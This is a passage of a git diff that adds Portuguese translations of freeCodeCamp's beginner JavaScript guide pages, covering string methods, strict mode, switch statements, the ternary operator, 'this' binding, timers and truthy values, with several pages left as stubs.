+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolowercase/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolowercase/index.md
new file mode 100644
index 0000000000..450c0c816a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tolowercase/index.md
@@ -0,0 +1,25 @@
+---
+title: String.prototype.toLowerCase
+localeTitle: String.prototype.toLowerCase
+---
+O método de matriz JavaScript `.toLowerCase()` retornará o valor da cadeia convertida para minúsculas. A string original não é alterada.
+
+**Sintaxe**
+
+```javascript
+  string.toLowerCase() 
+```
+
+## Exemplos
+
+```javascript
+  var shout = "I AM SHOUTING VERY LOUDLY" 
+  var whisper = shout.toLowerCase() 
+ 
+  console.log(shout) // will return "I AM SHOUTING VERY LOUDLY" 
+  console.log(whisper) // will return "i am shouting very loudly" 
+```
+
+#### Mais Informações:
+
+Fonte: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tostring/index.md
new file mode 100644
index 0000000000..ecc99fa9a6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toString
+localeTitle: String.prototype.toString
+---
+## String.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-touppercase/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-touppercase/index.md
new file mode 100644
index 0000000000..759ffaa01a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-touppercase/index.md
@@ -0,0 +1,17 @@
+---
+title: String.prototype.toUpperCase
+localeTitle: String.prototype.toUpperCase
+---
+O método JavaScript `.toUpperCase()` retorna a mesma string que foi chamada, mas em maiúsculas.
+
+**Sintaxe**
+```
+str.toUpperCase() 
+```
+
+## Exemplos
+```
+console.log("hello world".toUpperCase()); // Console will output "HELLO WORLD" 
+```
+
+[MDN de](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase) origem
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trim/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trim/index.md
new file mode 100644
index 0000000000..ad268a2c29
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trim/index.md
@@ -0,0 +1,22 @@
+---
+title: String.prototype.trim
+localeTitle: String.prototype.trim
+---
+## String.prototype.trim
+
+A função `trim()` remove qualquer caractere de espaço em branco do início e do final de uma determinada string. Não modifica a string original; ele gera um novo.
+
+Exemplos:
+
+```js
+"  Hello, campers. I have spaces on both ends!  ".trim(); 
+ // output is "Hello, campers. I have spaces on both ends!" 
+```
+
+`trim()` não apenas remove caracteres de espaço; ele remove qualquer caractere de espaço em branco, como guias, quebra de linha, espaços sem quebra, etc.
+
+Isso é útil, por exemplo, quando você deseja processar uma entrada de texto de um usuário e pode ter enviado uma string com espaços no final que talvez não queira.
+
+#### Mais Informações:
+
+*   [String.prototype.trim () no MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimleft/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimleft/index.md
new file mode 100644
index 0000000000..ee31413de0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimleft/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimLeft
+localeTitle: String.prototype.trimLeft
+---
+## String.prototype.trimLeft
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimleft/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimright/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimright/index.md
new file mode 100644
index 0000000000..80be41c2cb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-trimright/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimright
+localeTitle: String.prototype.trimright
+---
+## String.prototype.trimright
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimright/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-valueof/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-valueof/index.md
new file mode 100644
index 0000000000..496e0dfb62
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.valueOf
+localeTitle: String.prototype.valueOf
+---
+## String.prototype.valueOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-valueof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/string/string-raw/index.md b/client/src/guide/portuguese/javascript/standard-objects/string/string-raw/index.md
new file mode 100644
index 0000000000..4e3521c652
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/string/string-raw/index.md
@@ -0,0 +1,11 @@
+---
+title: String Raw
+localeTitle: Cadeia Raw
+---
+## Cadeia Raw
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-raw/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/strict-mode/index.md b/client/src/guide/portuguese/javascript/strict-mode/index.md
new file mode 100644
index 0000000000..91cf5fb1e0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/strict-mode/index.md
@@ -0,0 +1,56 @@
+---
+title: Strict Mode
+localeTitle: modo estrito
+---
+O Strict Mode foi introduzido no ECMAScript 5 que permite colocar um programa, ou uma função, em um contexto operacional "estrito". Esse contexto restrito impede que determinadas ações sejam tomadas e gera mais exceções.
+
+O modo estrito faz várias alterações na semântica normal do JavaScript.
+
+*   Primeiro, o modo estrito elimina alguns erros silenciosos do JavaScript alterando-os para gerar erros.
+*   Em segundo lugar, o modo estrito corrige erros que tornam difícil para os mecanismos JavaScript executar otimizações: código de modo estrito às vezes pode ser executado com mais rapidez do que o código idêntico que não é o modo estrito.
+*   Terceiro, o modo estrito proíbe alguma sintaxe que possa ser definida em futuras versões do ECMAScript.
+
+Código de modo estrito e código de modo não estrito podem coexistir em um mesmo script.
+
+```javascript
+// Non-strict code... 
+ 
+ (function(){ 
+    "use strict"; 
+ 
+    // Define your library strictly... 
+ })(); 
+ 
+ // Non-strict code... 
+```
+
+## Invocando o modo estrito
+
+O modo estrito aplica-se a _scripts inteiros_ ou a _funções individuais_ .
+
+**Modo estrito para scripts**
+
+```javascript
+// Whole-script strict mode syntax 
+ 
+ "use strict"; 
+ var v = "Hi!  I'm a strict mode script!"; 
+```
+
+**Modo estrito para funções**
+
+```javascript
+function strict(){ 
+    // Function-level strict mode syntax 
+ 
+    'use strict'; 
+    function nested() { return "And so am I!"; } 
+    return "Hi!  I'm a strict mode function!  " + nested(); 
+ } 
+ 
+ function notStrict() { return "I'm not strict."; } 
+```
+
+**Basicamente ajuda a fazer menos erros, detectando coisas que podem levar a quebras que não são detectadas normalmente (modo não-estrito).**
+
+_Para mais informações, confira esta [página do MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Strict_mode) ._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/switch-statements/index.md b/client/src/guide/portuguese/javascript/switch-statements/index.md
new file mode 100644
index 0000000000..eaed782b33
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/switch-statements/index.md
@@ -0,0 +1,99 @@
+---
+title: Switch Statements
+localeTitle: Switch Statements
+---
+## Switch Statements
+
+Uma instrução `switch` na programação é semelhante a uma instrução `if-else` , mas tem o benefício de, às vezes, ser mais fácil de ler quando há muitas condições. Também permite adicionar um bloco `default` que será executado se nenhuma das outras condições forem verdadeiras.
+
+### Sintaxe:
+
+```javascript
+switch(expression) { 
+  case 1: 
+    console.log('1'); 
+    break; 
+   case 2: 
+     console.log('2'); 
+     break; 
+   default: 
+     console.log('No true condition, default'); 
+ } 
+```
+
+O snippet acima mostra a sintaxe de uma instrução básica de `switch` . Neste exemplo, existem 3 cenários diferentes para:
+
+*   `expression = 1` : Primeira condição é verdadeira e `1` é impressa no console.
+*   `expression = 2` : A segunda condição é verdadeira e `2` é impressa no console.
+*   `expression = 'anything else'` : Caso 1 e Caso 2 são ambos falsos, portanto, a condição padrão é executada.
+
+A condição `default` é uma condição que será executada se nenhum dos outros casos forem verdadeiros.
+
+Nota: Um ponto muito importante a notar aqui é que no trecho acima, `case 1:` e `case 2:` pode parecer representar algum tipo de ordem, mas `1` e `2` não são nada além das respostas que a `(expression)` pode ser avaliada . Portanto, em vez de 1 e 2, pode ser qualquer coisa que a `(expression)` possa avaliar e possa ser testada.
+
+Por exemplo:
+
+```javascript
+var someValue; 
+ var expression = someValue; 
+ switch(expression){ 
+  case someValue: 
+    console.log('10'); // 10 would be printed to the console 
+    break; 
+  case 23: 
+    console.log('12'); 
+    break; 
+  default: 
+    console.log('No matches'); 
+ } 
+```
+
+Nota: a `expression` no fragmento acima pode ser uma string ou um número.
+
+### Pausa
+
+A palavra-chave `break` é necessária em cada caso para garantir que apenas o código nesse caso seja executado. Sem o intervalo, vários casos poderiam ser executados. Quando o JavaScript atinge uma palavra `break` chave `break` , ele quebra o bloco de switches. Se o `break` foi deixado de fora do exemplo acima, isso é o que aconteceria:
+
+```javascript
+var expression = 1; 
+ switch(expression) { 
+  case 1: 
+    console.log('1');  // 1 would be printed to console 
+  case 2: // As there is no break after case 1, this case is also executed. 
+    console.log('2'); // 2 would be printed to the console. 
+    break; // break -> Switch statement is exited 
+  default: 
+    console.log('No true condition, default'); 
+ } 
+```
+
+### Execute vários casos:
+
+`switch` instruções `switch` também permitem que o mesmo bloco de código seja executado por vários casos. Isso pode ser feito adicionando 1 ou mais `case :` e `case :` palavras `case :` chave antes de um bloco de código.
+
+Por exemplo:
+
+```javascript
+switch (day) { 
+  case 4: 
+  case 5: 
+    console.log('it is nearly the weekend'); 
+    break; 
+  case 0: 
+  case 6: 
+    console.log('it is the weekend'); 
+    break; 
+  default: 
+    console.log('Looking forward to the Weekend'); 
+ } 
+```
+
+No trecho acima:
+
+*   Se o `day` é `4` ou `5` (quinta ou sexta-feira), `it is nearly the weekend` será impresso para o console como o primeiro caso é executado.
+*   Se o `day` for `0` ou `6` , (sábado ou domingo), `it is the weekend` impresso no console quando o segundo caso for executado.
+*   Se o `day` for qualquer outro valor, `Looking forward to the Weekend` será impresso para o console, como o caso padrão é executado.
+
+### Mais Informações:
+
+[Documentação MDN para switch](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/template-literals/index.md b/client/src/guide/portuguese/javascript/template-literals/index.md
new file mode 100644
index 0000000000..fd404307c7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/template-literals/index.md
@@ -0,0 +1,29 @@
+---
+title: Template Literals
+localeTitle: Literais de modelos
+---
+Modelos de Literais são um recurso do ES6 que utiliza o caractere backtick para definir um valor de string
+
+### A sintaxe básica
+
+Abaixo está um exemplo básico de um literal de modelo:
+
+```javascript
+// ES5 syntax 
+ var es5String = "ES5 String" 
+ var es5StringWithVariable = "ES5 String with a " + variable + "..." 
+ 
+ // ES6 template literal 
+ const tempLit = `Simple string` 
+ 
+ // ES6 template literal with variable 
+ let tempLitWithVariables = `Simple string with a ${variable}...` 
+ 
+ // ES6 multiple line template literal 
+ const multiLineString = ` 
+  Multiple 
+  Lines 
+  Allowed 
+ ` 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/ternary-operator/index.md b/client/src/guide/portuguese/javascript/ternary-operator/index.md
new file mode 100644
index 0000000000..59f17802bb
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/ternary-operator/index.md
@@ -0,0 +1,61 @@
+---
+title: Ternary Operator
+localeTitle: Operador Ternário
+---
+O operador Ternary substitui um bloco `if` / `else` em um formato condensado. O seguinte é o formato geral do operador ternário.
+```
+condition ? expr1 : expr2 
+```
+
+## Descrição
+
+Se a condição for verdadeira, o operador resolverá o valor de expr1; caso contrário, resolve o valor de expr2.
+
+Por exemplo, para exibir uma mensagem diferente com base no valor da variável isMember, você poderia usar essa instrução:
+
+```javascript
+let isMember = true; 
+ 
+ let message = isMember ? 'Welcome Back!' : 'You need to login'; // 'Welcome Back' 
+```
+
+Outro método útil para usar um operador Ternary seria enviá-lo para executar condicionalmente uma função ou método
+
+```javascript
+    function memberOpen(){ 
+        console.log("open"); 
+    } 
+ 
+    function memberClose(){ 
+        console.log("close"); 
+    } 
+ 
+    let isMember = true; 
+ 
+    (isMember) ? memberOpen() : memberClose(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/M8Ge/1)
+
+## Execução de funções com operador ternário
+
+Também é possível executar funções usando o operador ternário, que às vezes pode ser útil e mais legível. No entanto, use-o com cuidado, porque o código é mais difícil de depurar.
+
+```javascript
+    const runFirst = true; 
+    runFirst ? first() : second(); 
+```
+
+## Encadeamento usando o operador ternário
+
+Você também pode encadear um operador ternário indefinidamente, de uma maneira semelhante a usar `else if's` antes do último else de um bloco `if` / `else` . Cada vez que o cólon é usado para indicar a parte else do operador ternário, uma nova condição pode ser declarada até que a condição de finalização final seja usada.
+
+```javascript
+    function displayNum(num) { 
+     return  num === 3 ? 'number is 3' : num === 2 ? 'number is 2' : num === 1 ? 'number is 1 ' : 'number is not in range'; 
+    } 
+```
+
+Esse método precisa ser usado com parcimônia nos lugares certos, no entanto, como acontece com vários `else if's` isso pode levar a códigos mais legíveis usando uma instrução switch.
+
+**Leia mais:** [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/this-reference/index.md b/client/src/guide/portuguese/javascript/this-reference/index.md
new file mode 100644
index 0000000000..5a571473f8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/this-reference/index.md
@@ -0,0 +1,176 @@
+---
+title: this reference
+localeTitle: esta referência
+---
+## `this` referência
+
+Em JavaScript, cada função tem um `this` de referência criado automaticamente quando você declará-lo. Essa referência é bastante semelhante a `this` referência em outras linguagens baseadas em classes, como Java ou C # (JavaScript é uma linguagem baseada em protótipo e nenhum conceito de "classe"): _Aponta para qual objeto está chamando a função_ (esse objeto às vezes chamado como _contexto_ ). No JavaScript, no entanto, _`this` referência dentro de funções pode ser vinculada a objetos diferentes, dependendo de onde a função está sendo chamada_ . Aqui estão 5 regras básicas para `this` ligação em JavaScript:
+
+### Regra 1
+
+Quando uma função é chamada no escopo global, a referência `this` é, por padrão, vinculada ao **objeto global** ( `window` no navegador ou `global` em Node.js). Por exemplo:
+
+```javascript
+function foo() { 
+  this.a = 2; 
+ } 
+ 
+ foo(); 
+ console.log(a); // 2 
+```
+
+Nota: Se você declarar a `foo()` função acima no modo estrito, então você chamar essa função no escopo global, `this` será `undefined` e atribuição `this.a = 2` vai jogar `Uncaught TypeError` exceção.
+
+### Regra 2
+
+Vamos examinar o exemplo abaixo:
+
+```javascript
+function foo() { 
+  this.a = 2; 
+ } 
+ 
+ var obj = { 
+  foo: foo 
+ }; 
+ 
+ obj.foo(); 
+ console.log(obj.a); // 2 
+```
+
+Claramente, no trecho acima, a função `foo()` está sendo chamada com o _contexto_ `obj` e `this` referência agora está vinculada ao `obj` . Portanto, quando uma função é chamada com um objeto de contexto, a referência `this` será vinculada a esse objeto.
+
+### Regra 3
+
+`.call` , `.apply` e `.bind` podem ser usados ​​no site de chamadas para vincular explicitamente `this` . Usar `.bind(this)` é algo que você pode ver em muitos componentes do React.
+
+```javascript
+var foo = function() { 
+  console.log(this.bar) 
+ } 
+ 
+ foo.call({ bar: 1 }) // 1 
+```
+
+Aqui está um exemplo rápido de como cada um é usado para vincular `this` :
+
+*   `.call()` : `fn.call(thisObj, fnParam1, fnParam2)`
+*   `.apply()` : `fn.apply(thisObj, [fnParam1, fnParam2])`
+*   `.bind()` : `const newFn = fn.bind(thisObj, fnParam1, fnParam2)`
+
+### Regra 4
+
+```javascript
+function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ console.log(p1.x); // 1 
+ console.log(p1.y); // 2 
+```
+
+A coisa que você deve notar é que a função `Point2D` é chamada com a `new` palavra-chave, e `this` referência está vinculada ao objeto `p1` . Portanto, quando uma função é chamada com uma `new` palavra-chave, ela criará um novo objeto e `this` referência será vinculada a esse objeto.
+
+Nota: Como você chama uma função com uma `new` palavra-chave, também a chamamos como _função construtora_ .
+
+### Regra 5
+
+JavaScript determina o valor `this` em tempo de execução, com base no contexto atual. Então, `this` às vezes pode apontar para algo diferente do que você espera.
+
+Considere este exemplo de uma classe Cat com um método chamado `makeSound()` , seguindo o padrão da Regra 4 (acima) com uma função construtora e a `new` palavra-chave.
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.makeSound(); // Fat Daddy says: Mrrooowww 
+```
+
+Agora vamos tentar dar ao gato uma maneira de `annoy()` pessoas repetindo seu som 100 vezes, uma vez a cada meio segundo.
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(function() { 
+            this.makeSound(); // <-- this line fails with `this.makeSound is not a function` 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+Isso não funciona porque dentro do callback `setInterval` nós criamos um novo contexto com escopo global, então `this` não aponta mais para a nossa instância do kitty. Em um navegador da Web, `this` indicará o objeto Window, que não possui um método `makeSound()` .
+
+Algumas maneiras de fazer isso funcionar:
+
+1) Antes de criar o novo contexto, atribua `this` a uma variável local chamada `me` , `self` , ou o que você quiser chamá-lo, e use essa variável dentro do callback.
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var self = this; 
+        var t = setInterval(function() { 
+            self.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+2) Com ES6 você pode evitar atribuir `this` a uma variável local usando uma função de seta, que liga `this` ao contexto do código circundante onde ele está definido.
+
+```javascript
+var Cat = function(name, sound) { 
+    this.name = name; 
+    this.sound = sound; 
+    this.makeSound = function() { 
+        console.log( this.name + ' says: ' + this.sound ); 
+    }; 
+    this.annoy = function() { 
+        var count = 0, max = 100; 
+        var t = setInterval(() => { 
+            this.makeSound(); 
+            count++; 
+            if (count === max) { 
+                clearTimeout(t); 
+            } 
+        }, 500); 
+    }; 
+ } 
+ var kitty = new Cat('Fat Daddy', 'Mrrooowww'); 
+ kitty.annoy(); 
+```
+
+### Outros recursos
+
+*   [javascriptissexy.com](http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/)
+*   [Você não sabe JS](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/timing-events/index.md b/client/src/guide/portuguese/javascript/timing-events/index.md
new file mode 100644
index 0000000000..5715ac707f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/timing-events/index.md
@@ -0,0 +1,72 @@
+---
+title: Timing Events
+localeTitle: Eventos de tempo
+---
+## Eventos de tempo
+
+Os programadores usam eventos de temporização para atrasar a execução do código ou para repetir o código em um intervalo especificado.
+
+Existem duas funções nativas na biblioteca JavaScript usada para realizar essas tarefas: `setTimeout()` e `setInterval()` .
+
+Você usa `setTimeout()` para atrasar a execução da função passada por um período de tempo especificado. Existem dois parâmetros que você passa para `setTimeout()` : a função que você deseja chamar e a quantidade de tempo em milissegundos. (Há 1000 milissegundos (ms) em 1 segundo. Ex: 5000 ms = 5 segundos.) `setTimeout()` será executado uma vez após o tempo especificado ter decorrido.
+
+Exemplo de `setTimeout()` :
+
+```javascript
+var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+```
+
+Quando a função delayTimer é chamada, ela executará setTimeout. Após 3 segundos, ele executará delayedFunction, que enviará um alerta.
+
+Use `setInterval()` para especificar uma função para repetir com um intervalo de tempo entre execuções. Novamente, dois parâmetros são passados ​​para `setInterval()` : a função que você deseja chamar e a quantidade de tempo em milissegundos. `setInterval()` continuará a executar até que seja limpo.
+
+Exemplo de `setInterval()` :
+
+```javascript
+var intervalID; 
+ 
+ function repeatEverySecond() { 
+  intervalID = setInterval(sendMessage, 1000); 
+ } 
+ 
+ function sendMessage() { 
+  console.log(“One second elapsed.”); 
+ } 
+```
+
+Quando seu código chama a função repeatEverySecond, ele executará setInterval. setInterval irá executar a função sendMessage a cada 1000 milissegundos.
+
+Existem também funções nativas correspondentes para parar os eventos de temporização: `clearTimeout()` e `clearInterval()` .
+
+Você deve ter notado que cada função do timer é salva em uma variável. Quando a função set é executada, é atribuído um número que é salvo nessa variável. Esse número gerado é exclusivo para cada instância de timers. Esse número atribuído também é como os cronômetros são identificados para serem parados. Por esse motivo, você sempre deve definir seu timer para uma variável.
+
+Para maior clareza do seu código, você deve sempre combinar `clearTimeout()` para `setTimeout()` e `clearInterval()` para `setInterval()` .
+
+Para parar um temporizador, chame a função de limpeza correspondente e passe a variável de ID do temporizador que corresponde ao temporizador que você deseja interromper. A sintaxe para `clearInterval()` e `clearTimeout()` é a mesma.
+
+Exemplo:
+
+```javascript
+var timeoutID; 
+ 
+ function delayTimer() { 
+  timeoutID = setTimeout(delayedFunction, 3000); 
+ } 
+ 
+ function delayedFunction() { 
+  alert(“Three seconds have elapsed.”); 
+ } 
+ 
+ function clearAlert() { 
+  clearTimeout(timeoutID); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/truth-table/index.md b/client/src/guide/portuguese/javascript/truth-table/index.md
new file mode 100644
index 0000000000..d97a50ce76
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/truth-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Truth Table
+localeTitle: Tabela Verdade
+---
+![Uma tabela mostrando quais argumentos JavaScript são verdadeiros e falsos.](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2c78476742e6e677e5c714341ff37e9f60c951.png)
+
+É por isso que você deve sempre usar `===` e `!==` .
+
+Fonte: [https://dorey.github.io/JavaScript-Equality-Table/](https://dorey.github.io/JavaScript-Equality-Table/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/truthy-values/index.md b/client/src/guide/portuguese/javascript/truthy-values/index.md
new file mode 100644
index 0000000000..aa517637a0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/truthy-values/index.md
@@ -0,0 +1,17 @@
+---
+title: Truthy Value
+localeTitle: Valor Truthy
+---
+Um valor **truthy** é um valor que se traduz em **verdadeira** quando avaliada em um contexto _booleano._
+
+Todos os valores são **verdadeiros, a** menos que sejam definidos como **falsy** (isto é, exceto `false` , `0` , `""` , `null` , `undefined` e `NaN` ).
+
+Alguns valores **truthy** interessantes são:
+
+'0' (uma string contendo um único zero) 'false' (uma string contendo o texto “false”) \[\] (uma matriz vazia) {} (um objeto vazio) function () {} (uma função “vazia”)
+
+Um único valor pode, portanto, ser usado dentro de condições, por exemplo
+
+if (valor) { // value é verdadeiro } outro { // value é falsamente // pode ser falso, 0, '', nulo, indefinido ou NaN }
+
+Veja também: falsy | [MDN](https://developer.mozilla.org/en-US/docs/Glossary/Truthy)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/portuguese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..eb77fc3906
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,26 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: Adicionar novas propriedades a um objeto JavaScript
+---
+Você pode adicionar novas propriedades a objetos JavaScript existentes da mesma maneira que você os modificaria.
+
+Existem duas sintaxes diferentes, notação de ponto e notação de colchetes. A notação de ponto é geralmente preferida para legibilidade, mas as propriedades devem ser um identificador válido.
+
+Aqui está como usar a notação de ponto:
+```
+myDog.bark = "woof-woof"; 
+```
+
+Aqui está como usar a notação de colchetes:
+
+```javascript
+myObject['bark'] = "woof-woof"; 
+```
+
+Usando a notação de colchetes, podemos utilizar variáveis ​​como nomes de propriedades:
+
+```javascript
+var dynamicProperty = "bark"; 
+ myObject[dynamicProperty] = "woof-woof"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/add-two-numbers-with-javascript/index.md b/client/src/guide/portuguese/javascript/tutorials/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..c84a879962
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: Adicione dois números com JavaScript
+---
+JavaScript usa o símbolo `+` para adição. Também pode ser usado em vez de `parseInt()` mas isso está além disso.
+```
+var sum = 10 + 10; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/build-javascript-objects/index.md b/client/src/guide/portuguese/javascript/tutorials/build-javascript-objects/index.md
new file mode 100644
index 0000000000..b15b9dbacd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/build-javascript-objects/index.md
@@ -0,0 +1,28 @@
+---
+title: Build JavaScript Objects
+localeTitle: Construa objetos JavaScript
+---
+Os objetos são úteis para armazenar dados de maneira estruturada e podem ser usados ​​para representar objetos do mundo real, como carros ou hotéis, em um computador.
+
+Os objetos são semelhantes aos arrays, exceto que, em vez de usar índices para acessar e modificar seus dados, você acessa os dados em objetos por meio do que são chamados de propriedades. Existem duas maneiras principais de criar objetos: o Literal do Objeto e o modo do Construtor.
+
+Usando o modo Literal do Objeto, veja como criaremos um objeto de amostra:
+```
+var cat = { 
+    name: "Whiskers", 
+    legs: 4, 
+    tails: 1, 
+    enemies: ["Water", "Dogs"] 
+ }; 
+```
+
+Usando o construtor, veja como criaremos um objeto de amostra:
+```
+var cat = new Object(); 
+ cat.name = "Whiskers"; 
+ cat.legs = 4; 
+ cat.tails = 1; 
+ cat.enemies = ["Water", "Dogs"]; 
+```
+
+No modo Construtor, usamos a `new` palavra-chave junto com `Object` (com capital 'O') para criar uma nova instância de objeto. Depois, usamos a notação de ponto para atribuir os nomes e valores da propriedade do objeto.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/tutorials/comment-your-javascript-code/index.md b/client/src/guide/portuguese/javascript/tutorials/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..5e09547737
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/tutorials/comment-your-javascript-code/index.md
@@ -0,0 +1,22 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: Comente seu código JavaScript
+---
